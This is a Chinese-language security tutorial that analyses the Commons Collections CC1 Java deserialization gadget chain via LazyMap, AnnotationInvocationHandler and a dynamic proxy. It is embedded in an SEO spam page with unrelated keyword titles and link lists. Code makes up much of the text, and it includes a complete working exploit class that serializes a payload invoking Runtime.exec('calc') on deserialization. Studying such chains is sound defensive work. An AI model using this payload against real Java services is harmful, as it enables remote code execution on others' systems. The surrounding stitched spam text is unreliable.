当前位置: 首页 > news >正文

有哪个网站教人做美食庆云网站seo

有哪个网站教人做美食,庆云网站seo,公司注册网站有什么好处,个人社保缴费多少钱一个月cc链1再分析 文章目录cc链1再分析调用链分析调用链LazyMapAnnotationInvocationHandlerProxy最后的代码版本区别cc链1有两个版本,后半条链基本相同,我们来看下另一个版本的前半条链的调用过程 调用链分析 调用链 用到了动态代理 AnnotationInvocatio…

cc链1再分析

文章目录

  • cc链1再分析
    • 调用链分析
      • 调用链
      • LazyMap
      • AnnotationInvocationHandler
      • Proxy
      • 最后的代码
    • 版本区别

cc链1有两个版本,后半条链基本相同,我们来看下另一个版本的前半条链的调用过程

调用链分析

调用链

用到了动态代理

AnnotationInvocationHandler(Proxy)-->Proxy(AnnotationInvocationHandler).xxx-->AnnotationInvocationHandler.invoke(LazyMap)-->Lazymap.get(ChainedTransformer)-->ChainedTransformer.transformer

LazyMap

调用transformer的方法那里,看LazyMap类
在这里插入图片描述

在get()方法中,调用了factory.tranformer(),看这个factory

protected final Transformer factory;

是个Transformer类对象,虽然是protected,但是可以通过decorate方法进行获取类对象

在这里插入图片描述

Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class },new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> map = new HashMap<>();map.put("value","value");Map map1 = LazyMap.decorate(map, chainedTransformer);map1.get(Override.class);

get方法中随便传一个类,进入if语句即可
继续往下走,看谁调用了get方法

AnnotationInvocationHandler

rt.jar.reflect.annotation.AnnotationInvocationHandler

在这个类中有5个地方调用了get()方法,我们着重分析invoke方法内的调用

在这里插入图片描述

我们需要绕过这些ifswitch,去调用get方法
而在readObect中,有一行代码是执行member.entrySet(),这个参数是我们代理的AnnotationInvocationHandler类,外部调用该类方法,会去调用invoke方法

在这里插入图片描述

Proxy

		Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationinvocationhandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);annotationinvocationhandlerConstructor.setAccessible(true);//实例化InvocationHandler h = (InvocationHandler)annotationinvocationhandlerConstructor.newInstance(Target.class,map1);//动态代理Map newProxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);Object o = annotationinvocationhandlerConstructor.newInstance(Override.class, newProxyInstance);serialize(o);unserialize("ser.bin");

而最外部还是需要一个AnnotationInvocationHandler来作为序列化的起点,其readObject方法

注意:动态代理可以序列化

最后的代码

package cc1;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;public class cc1 {public static void serialize(Object obj)throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));objectOutputStream.writeObject(obj);}//定义unserialize方法public static Object unserialize(String Filename ) throws  IOException,ClassNotFoundException{ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream((Filename)));Object obj = objectInputStream.readObject();return obj;}//主函数public static void main(String[] args) throws Exception{Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class },new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> map = new HashMap<>();map.put("value","value");Map map1 = LazyMap.decorate(map, chainedTransformer);//map1.get(Override.class);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationinvocationhandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);annotationinvocationhandlerConstructor.setAccessible(true);//实例化InvocationHandler h = (InvocationHandler)annotationinvocationhandlerConstructor.newInstance(Target.class,map1);//动态代理Map newProxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);Object o = annotationinvocationhandlerConstructor.newInstance(Override.class, newProxyInstance);serialize(o);unserialize("ser.bin");}
}

版本区别

1.8.071中将AnnotationInvocationHandler.readObject进行了修复,不再调用checkValue,所以cc1不能用了

http://www.lbrq.cn/news/2558143.html

相关文章:

  • 评网网站建设优化营商环境条例全文
  • 网站中加入企业qqseo百度seo排名优化软件
  • 泰国做那个视频网站google chrome
  • 九江网站排名黄页88网推广服务
  • 网址网页网站的区别??市场营销策划方案3000字
  • 技术培训网站脱发严重是什么原因引起的
  • 建立的短语一键优化软件
  • 优秀企业网站赏析西点培训前十名学校
  • 网站建设有哪些软件有哪些内容马鞍山seo
  • 西宁网站建设百度一下打开网页
  • 网站设计目的徐州百度运营中心
  • 建设网站服务商网上有卖网站链接的吗
  • 做带支付功能的网站58网络推广
  • 网站升级页面连接设置百度seo推广首选帝搜软件
  • 长春网站分析无排名优化
  • 个人视频制作公司网站优化技巧
  • 聊天网站制作教程成都网站建设方案托管
  • 做网站好还是做商城好关键词批量调词 软件
  • b2b模式的典型电商平台代表关键词诊断优化全部关键词
  • 酒店设计网站建设方案百度网盘手机版
  • 国外 网页框架搭建的网站域名批量注册查询
  • div css网站重构第一版视频教程女教师遭网课入侵视频大全
  • 哪个网站上门做护肤app优化推广
  • 湛江网站建设制作价格百度登录账号首页
  • app官网网站建设成都seo优化排名公司
  • 开贴纸网站要怎么做的痘痘怎么去除效果好
  • 建设局优化 保证排名
  • 微信网站建站平台中国纪检监察报
  • 电子商务网站建设与管理 教案百度搜索推广收费标准
  • 网站备案 幕布宁波seo公司网站推广
  • TwinCAT3示例项目1
  • Leetcode 10 java
  • 【Linux】Linux下基本指令
  • AI+金融,如何跨越大模型和场景鸿沟?
  • MySQL 45讲 16-17
  • VMware16安装Ubuntu-22.04.X版本(并使用桥接模式实现局域网下使用ssh远程操作Ubuntu系统)